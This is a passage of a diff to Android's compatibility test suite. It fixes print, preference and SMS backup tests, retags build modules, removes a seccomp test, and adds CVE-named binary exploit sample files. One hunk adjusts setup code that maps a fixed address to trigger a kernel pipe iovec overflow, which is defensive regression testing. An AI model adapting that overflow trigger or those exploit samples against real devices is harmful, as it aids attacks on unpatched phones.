+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -45,6 +45,7 @@
     final UiDevice device;
     private final Instrumentation mInstrumentation;
     private final UiAutomation mAutomation;
+    private int mStatusBarHeight = -1;
 
     TestUtils() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -58,8 +59,8 @@
 
         Bitmap bt = mAutomation.takeScreenshot();
         // Crop-out the top bar where current time is displayed since any time change would
-        // introduce flakiness (we are cutting 5% of the screen height).
-        int yToCut = bt.getHeight() / 20;
+        // introduce flakiness (we are cutting 5% of the screen height or status_bar_height).
+        int yToCut = Math.max(bt.getHeight() / 20, getStatusBarHeight());
         // Crop the right side for scrollbar which might or might not be visible. But on
         // watch, the scroll bar is a curve and occupies 20% of the screen on the right
         // hand side.
@@ -194,6 +195,23 @@
         return baseWindowName + activity.getClass().getSimpleName();
     }
 
+    private int getStatusBarHeight() {
+        // Cache the result to keep it fast.
+        if (mStatusBarHeight >= 0) {
+            return mStatusBarHeight;
+        }
+
+        int result = 0;
+        int resourceId = mInstrumentation.getTargetContext().getResources()
+                .getIdentifier("status_bar_height", "dimen", "android");
+        if (resourceId > 0) {
+            result = mInstrumentation.getTargetContext().getResources()
+                    .getDimensionPixelSize(resourceId);
+        }
+        mStatusBarHeight = result;
+        return result;
+    }
+
     private String runShellCommand(String cmd) {
         try {
             return SystemUtil.runShellCommand(mInstrumentation, cmd);
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index 527fe48..c9b036a 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index 1573840..1c771d6 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -14,11 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Print test cases">
+    <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPrintTestCases.apk" />
     </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.print.cts" />
         <option name="runtime-hint" value="33m00s" />
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
index aeeeb41..e29b17f 100755
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/src/android/print/cts/BasePrintTest.java
@@ -16,6 +16,8 @@
 
 package android.print.cts;
 
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.GET_SERVICES;
 import static android.print.cts.Utils.getPrintManager;
 
 import static org.junit.Assert.assertFalse;
@@ -35,6 +37,7 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.content.res.Resources;
 import android.graphics.pdf.PdfDocument;
 import android.os.Bundle;
@@ -47,7 +50,6 @@
 import android.print.PrintDocumentAdapter.LayoutResultCallback;
 import android.print.PrintDocumentAdapter.WriteResultCallback;
 import android.print.PrintDocumentInfo;
-import android.print.PrintManager;
 import android.print.PrinterId;
 import android.print.cts.services.PrintServiceCallbacks;
 import android.print.cts.services.PrinterDiscoverySessionCallbacks;
@@ -56,7 +58,6 @@
 import android.print.pdf.PrintedPdfDocument;
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
-import android.printservice.PrintServiceInfo;
 import android.provider.Settings;
 import android.support.annotation.NonNull;
 import android.support.annotation.Nullable;
@@ -121,6 +122,8 @@
     private int mTestId;
     private PrintDocumentActivity mActivity;
 
+    private static String sDisabledPrintServicesBefore;
+
     private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
 
     public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
@@ -198,6 +201,8 @@
         clearPrintSpoolerData();
         Log.d(LOG_TAG, "disableImes()");
         disableImes();
+        Log.d(LOG_TAG, "disablePrintServices()");
+        disablePrintServices(instrumentation.getTargetContext().getPackageName());
 
         // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
         // Dexmaker is used by mockito.
@@ -207,13 +212,52 @@
         Log.d(LOG_TAG, "setUpClass() done");
     }
 
+    /**
+     * Disable all print services beside the ones we want to leave enabled.
+     *
+     * @param packageToLeaveEnabled The package of the services to leave enabled.
+     */
+    private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
+            throws IOException {
+        Instrumentation instrumentation = getInstrumentation();
+
+        sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
+                "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
+
+        Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
+        List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
+                .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
+
+        StringBuilder builder = new StringBuilder();
+        for (ResolveInfo service : installedServices) {
+            if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
+                continue;
+            }
+            if (builder.length() > 0) {
+                builder.append(":");
+            }
+            builder.append(new ComponentName(service.serviceInfo.packageName,
+                    service.serviceInfo.name).flattenToString());
+        }
+
+        SystemUtil.runShellCommand(instrumentation, "settings put secure "
+                + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
+    }
+
+    /**
+     * Revert {@link #disablePrintServices(String)}
+     */
+    private static  void enablePrintServices() throws IOException {
+        SystemUtil.runShellCommand(getInstrumentation(),
+                "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
+                        + sDisabledPrintServicesBefore);
+    }
+
     @Before
     public void setUp() throws Exception {
         Log.d(LOG_TAG, "setUp()");
 
-        Instrumentation instrumentation = getInstrumentation();
-
-        assumeTrue(instrumentation.getContext().getPackageManager().hasSystemFeature(
+        assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_PRINTING));
 
         // Prevent rotation
@@ -223,25 +267,6 @@
             getUiDevice().waitForIdle();
         }
 
-        final PrintManager printManager = instrumentation.getContext()
-                .getSystemService(PrintManager.class);
-        final List<PrintServiceInfo> services = printManager.getPrintServices(
-                PrintManager.ALL_SERVICES);
-        final String targetPackageName = instrumentation.getTargetContext().getPackageName();
-        StringBuilder builder = new StringBuilder();
-        for (PrintServiceInfo service : services) {
-            final ComponentName serviceComponent = service.getComponentName();
-            if (targetPackageName.equals(serviceComponent.getPackageName())) {
-                continue;
-            }
-            if (builder.length() > 0) {
-                builder.append(":");
-            }
-            builder.append(serviceComponent.flattenToString());
-            SystemUtil.runShellCommand(instrumentation, "settings put secure "
-                    + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
-        }
-
         // Initialize the latches.
         Log.d(LOG_TAG, "init counters");
         mCancelOperationCounter = new CallCounter();
@@ -285,6 +310,9 @@
 
         Instrumentation instrumentation = getInstrumentation();
 
+        Log.d(LOG_TAG, "enablePrintServices()");
+        enablePrintServices();
+
         Log.d(LOG_TAG, "enableImes()");
         enableImes();
 
@@ -725,10 +753,13 @@
     }
 
     static void clearPrintSpoolerData() throws Exception {
-        assertTrue("failed to clear print spooler data",
-                SystemUtil.runShellCommand(getInstrumentation(), String.format(
-                        "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
-                        .contains(PM_CLEAR_SUCCESS_OUTPUT));
+        if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_PRINTING)) {
+            assertTrue("failed to clear print spooler data",
+                    SystemUtil.runShellCommand(getInstrumentation(), String.format(
+                            "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
+                            .contains(PM_CLEAR_SUCCESS_OUTPUT));
+        }
     }
 
     void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index 3bef78e..d5edcb6 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -370,10 +370,21 @@
         // Wait until adapter is done
         waitForWriteAdapterCallback(1);
 
-        clickPrintButton();
+        for (int i = 0; i < 2; i++) {
+            clickPrintButton();
 
-        // Wait for print job to be queued
-        waitForServiceOnPrintJobQueuedCallbackCalled(1);
+            try {
+                // Wait for print job to be queued
+                waitForServiceOnPrintJobQueuedCallbackCalled(1);
+                break;
+            } catch (Throwable e) {
+                if (i == 0) {
+                    Log.i(LOG_TAG, "Print job was not queued, retrying", e);
+                } else {
+                    throw e;
+                }
+            }
+        }
 
         // Wait for discovery session to be destroyed to isolate tests from each other
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
index 58126e2..f4fcea2 100644
--- a/tests/tests/proto/Android.mk
+++ b/tests/tests/proto/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsProtoTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 #LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 3b71035..d4b3e99 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -26,17 +26,16 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common
+LOCAL_JAVA_LIBRARIES := android.test.mock legacy-android-test telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-v4 \
     compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
-    junit \
-    legacy-android-test
+    junit
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
index 8db5e45..fcd873a 100644
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
@@ -2516,8 +2516,8 @@
         // instances, and it's stored as minutes since midnight in the device's time zone.
         // Things won't be consistent if the event and the device have different ideas about DST.
         String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1999-04-18T00:00:00";
-        String testEnd = "1999-05-16T23:59:59";
+        String testStart = "1999-07-02T00:00:00";
+        String testEnd = "1999-08-04T23:59:59";
         String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
 
         Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
diff --git a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
index 891a1ba..b11fad2 100644
--- a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
@@ -51,6 +51,8 @@
     private static final String mmsBody = "MMS body CTS";
 
     private static final String[] ID_PROJECTION = new String[] { BaseColumns._ID };
+    private static final String[] ID_TEXT_ONLY_PROJECTION = new String[] { BaseColumns._ID,
+            Telephony.Mms.TEXT_ONLY };
     private static final String SMS_SELECTION = Telephony.Sms.ADDRESS + " = ? and "
             + Telephony.Sms.BODY + " = ?";
 
@@ -128,8 +130,10 @@
     }
 
     /**
-     * Test adds 1 text-only MMS message, runs backup, deletes the message from the provider,
-     * runs restore, checks if the message is in the provider.
+     * Test adds 2 SMS messages, 1 text-only MMS messages and 1 non-text-only, runs backup,
+     * deletes the messages from the provider, runs restore, check if the messages are in the
+     * provider (with non-text-only one).
+     * @throws Exception
      */
     public void testSmsBackupRestore() throws Exception {
         if (!mHasFeature) {
@@ -137,12 +141,16 @@
             return;
         }
 
-        ContentValues smsContentValues[] = new ContentValues[] {createSmsValues(smsAddressBody1)};
-        Log.i(TAG, "Put 1 SMS into the provider");
+        ContentValues smsContentValues[] = new ContentValues[] {
+                createSmsValues(smsAddressBody1),
+                createSmsValues(smsAddressBody2)};
+        Log.i(TAG, "Put 2 SMS into the provider");
         mContentResolver.bulkInsert(Telephony.Sms.CONTENT_URI, smsContentValues);
 
-        Log.i(TAG, "Put 1 text-only MMS into the provider");
+        Log.i(TAG, "Put 1 text MMS into the provider");
         addMms(true /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
+        Log.i(TAG, "Put 1 non-text MMS into the provider");
+        addMms(false /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
 
         Log.i(TAG, "Run backup");
         ProviderTestUtils.runBackup(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
@@ -151,43 +159,48 @@
         Log.i(TAG, "Run restore");
         ProviderTestUtils.runRestore(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
 
-        Log.i(TAG, "Check the providers for the message");
+        Log.i(TAG, "Check the providers for the messages");
         assertEquals(1,
                 mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody1));
+        assertEquals(1,
+                mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody2));
 
-        try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI, ID_PROJECTION,
-                MMS_SELECTION, new String[] {mmsSubject}, null)) {
+        try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI,
+              ID_TEXT_ONLY_PROJECTION, MMS_SELECTION, new String[] {mmsSubject}, null)) {
             assertNotNull(mmsCursor);
-            assertEquals(1, mmsCursor.getCount());
-            mmsCursor.moveToFirst();
-            final long mmsId = mmsCursor.getLong(0);
-            final Uri partUri = Telephony.Mms.CONTENT_URI.buildUpon()
-                    .appendPath(String.valueOf(mmsId)).appendPath("part").build();
-            // Check the body.
-            try (Cursor partCursor = mContentResolver.query(partUri, MMS_PART_TEXT_PROJECTION,
+            assertEquals(2, mmsCursor.getCount());
+            for (mmsCursor.moveToFirst(); !mmsCursor.isAfterLast(); mmsCursor.moveToNext()) {
+              final long mmsId = mmsCursor.getLong(0);
+              final long mmsTextOnly = mmsCursor.getLong(1);
+              assertEquals(mmsTextOnly, 1);
+              final Uri partUri = Telephony.Mms.CONTENT_URI.buildUpon()
+                  .appendPath(String.valueOf(mmsId)).appendPath("part").build();
+              // Check the body.
+              try (Cursor partCursor = mContentResolver.query(partUri, MMS_PART_TEXT_PROJECTION,
                     MMS_PART_TEXT_SELECTION, new String[]{ ContentType.TEXT_PLAIN }, null)) {
                 assertNotNull(partCursor);
                 assertEquals(1, partCursor.getCount());
                 assertTrue(partCursor.moveToFirst());
-                assertEquals(mmsBody, partCursor.getString(0));
-            }
+                assertTrue(partCursor.getString(0).startsWith(mmsBody));
+              }
 
-            // Check if there are 2 parts (smil and body).
-            assertEquals(2, mContentResolver.delete(partUri, MMS_PART_SELECTION,
+              // Check if there are 2 parts (smil and body).
+              assertEquals(2, mContentResolver.delete(partUri, MMS_PART_SELECTION,
                     new String[]{String.valueOf(mmsId)}));
 
-            // Check addresses.
-            final Uri addrUri = getMmsAddrUri(mmsId);
-            try (Cursor addrCursor = mContentResolver.query(addrUri, MMS_ADDR_PROJECTION,
+              // Check addresses.
+              final Uri addrUri = getMmsAddrUri(mmsId);
+              try (Cursor addrCursor = mContentResolver.query(addrUri, MMS_ADDR_PROJECTION,
                     MMS_ADDR_SELECTION, new String[]{String.valueOf(mmsId)}, null)) {
                 assertNotNull(addrCursor);
                 for (String addr : mmsAddresses) {
-                    addrCursor.moveToNext();
-                    assertEquals(addr, addrCursor.getString(0));
+                  addrCursor.moveToNext();
+                  assertEquals(addr, addrCursor.getString(0));
                 }
-            }
-            assertEquals(mmsAddresses.length, mContentResolver.delete(addrUri, MMS_ADDR_SELECTION,
+              }
+              assertEquals(mmsAddresses.length, mContentResolver.delete(addrUri, MMS_ADDR_SELECTION,
                     new String[]{String.valueOf(mmsId)}));
+            }
         }
     }
 
@@ -250,4 +263,3 @@
                 mUiAutomation);
     }
 }
-
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index a4ccf42..1a8c549 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -41,7 +41,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/renderscriptlegacy/Android.mk b/tests/tests/renderscriptlegacy/Android.mk
index fb93d05..8114642 100644
--- a/tests/tests/renderscriptlegacy/Android.mk
+++ b/tests/tests/renderscriptlegacy/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := 19
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index d67ba09..0385573 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -35,7 +35,7 @@
 LOCAL_RENDERSCRIPT_FLAGS := -Wno-error=deprecated-declarations
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index e5a7fdc..11957bf 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(LOCAL_PATH)/librscpptest/Android.mk
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 36eafe2..5621c02 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -46,6 +46,7 @@
 LOCAL_C_INCLUDES += frameworks/rs
 
 LOCAL_CPPFLAGS := -std=c++11
+LOCAL_CFLAGS := -Wno-unused-parameter
 
 LOCAL_SHARED_LIBRARIES := libdl liblog
 LOCAL_STATIC_LIBRARIES := libRScpp_static
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index cf354df..0c2a2b3 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index aa3e8d1..20609bc 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS SAX test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSaxTestCases.apk" />
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index d9869a0..6c1a2bb 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -52,7 +52,7 @@
 #LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index f0191c5..31e1dc1 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -22,7 +22,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
-        <option name="runtime-hint" value="1h40m31s" />
+        <option name="runtime-hint" value="1h37m06s" />
         <!-- test-timeout unit is ms, value = 15 min -->
         <option name="test-timeout" value="900000" />
     </test>
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index b0d0870..db9091f 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -28,7 +28,6 @@
 		android_security_cts_LinuxRngTest.cpp \
 		android_security_cts_NativeCodeTest.cpp \
 		android_security_cts_SELinuxTest.cpp \
-		android_security_cts_SeccompTest.cpp \
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
 
@@ -45,4 +44,6 @@
 LOCAL_C_INCLUDES += ndk/sources/cpufeatures
 LOCAL_STATIC_LIBRARIES := cpufeatures
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index 835d1a6..2014591 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -49,11 +49,7 @@
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_SeccompTest(env)) {
-        return JNI_ERR;
-    }
-
-     if (register_android_security_cts_KernelSettingsTest(env)) {
+    if (register_android_security_cts_KernelSettingsTest(env)) {
         return JNI_ERR;
     }
 
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index e64c1b4..e903ab7 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -263,18 +263,14 @@
      * set up to overflow iov[OVERFLOW_BUF] on non-atomic redo in kernel
      * function pipe_iov_copy_to_user
      */
-    iovs[OVERFLOW_BUF - 1].iov_len = IOV_LEN*10;
-    iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
-    iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
-
-    overflow_addr = mmap((void *) FIXED_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE,
-            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-
-    bufs[OVERFLOW_BUF] = overflow_addr;
+    bufs[OVERFLOW_BUF] = mmap((void*)(FIXED_ADDR), PAGE_SIZE, PROT_READ | PROT_WRITE,
+            MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
     if (bufs[OVERFLOW_BUF] == MAP_FAILED) {
         ALOGE("mmap fixed addr failed:%s", strerror(errno));
         goto __close_pipe;
     }
+    iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
+    iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
 
     for (i = 0; i < BUFS; i++) {
         if (i == OVERFLOW_BUF) {
diff --git a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp b/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
deleted file mode 100644
index ee36cdd..0000000
--- a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-
-#define LOG_TAG "SeccompTest"
-
-#include <cutils/log.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-/*
- * Function: testSyscallBlocked
- * Purpose: test that the syscall listed is blocked by seccomp
- * Parameters:
- *        nr: syscall number
- * Returns:
- *        1 if blocked, else 0
- * Exceptions: None
- */
-static jboolean testSyscallBlocked(JNIEnv *, jobject, int nr) {
-    int pid = fork();
-    if (pid == 0) {
-        ALOGI("Calling syscall %d", nr);
-        int ret = syscall(nr);
-        return false;
-    } else {
-        int status;
-        int ret = waitpid(pid, &status, 0);
-        if (ret != pid) {
-            ALOGE("Unexpected return result from waitpid");
-            return false;
-        }
-
-        if (WIFEXITED(status)) {
-            ALOGE("syscall was not blocked");
-            return false;
-        }
-
-        if (WIFSIGNALED(status)) {
-            int signal = WTERMSIG(status);
-            if (signal == 31) {
-                ALOGI("syscall caused process termination");
-                return true;
-            }
-
-            ALOGE("Unexpected signal");
-            return false;
-        }
-
-        ALOGE("Unexpected status from syscall_exists");
-        return false;
-    }
-}
-
-static JNINativeMethod gMethods[] = {
-    { "testSyscallBlocked", "(I)Z",
-            (void*) testSyscallBlocked },
-};
-
-int register_android_security_cts_SeccompTest(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("android/security/cts/SeccompTest");
-
-    return env->RegisterNatives(clazz, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/tests/tests/security/res/raw/bug_37662286.gif b/tests/tests/security/res/raw/bug_37662286.gif
new file mode 100644
index 0000000..f8ecc27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37662286.gif
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13309_client.bks b/tests/tests/security/res/raw/cve_2017_13309_client.bks
new file mode 100644
index 0000000..6f450d3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13309_client.bks
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13309_server.bks b/tests/tests/security/res/raw/cve_2017_13309_server.bks
new file mode 100644
index 0000000..384c4be
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13309_server.bks
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13309_trustedcert.bks b/tests/tests/security/res/raw/cve_2017_13309_trustedcert.bks
new file mode 100644
index 0000000..539d36e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13309_trustedcert.bks
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13318.mp4 b/tests/tests/security/res/raw/cve_2017_13318.mp4
new file mode 100644
index 0000000..7ab776b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13318.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index f3c2302..bcfb1df 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -22,6 +22,7 @@
 
 import java.io.InputStream;
 
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.R;
 
 public class BigRleTest extends AndroidTestCase {
@@ -31,6 +32,7 @@
      * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
+    @SecurityTest(minPatchLevel = "2017-04")
     public void test_android_bug_33251605() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index 61456af..b880f5f 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -29,18 +29,12 @@
   static final String[] CERTIFICATE_DATA = {
       "91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
       "22:FD:D0:B7:FD:A2:4E:0D:AC:49:2C:A0:AC:A6:7B:6A:1F:E3:F7:66",
-      "4A:65:D5:F4:1D:EF:39:B8:B8:90:4A:4A:D3:64:81:33:CF:C7:A1:D1",
-      "16:32:47:8D:89:F9:21:3A:92:00:85:63:F5:A4:A7:D3:12:40:8A:D6",
       "D1:CB:CA:5D:B2:D5:2A:7F:69:3B:67:4D:E5:F0:5A:1D:0C:95:7D:F0",
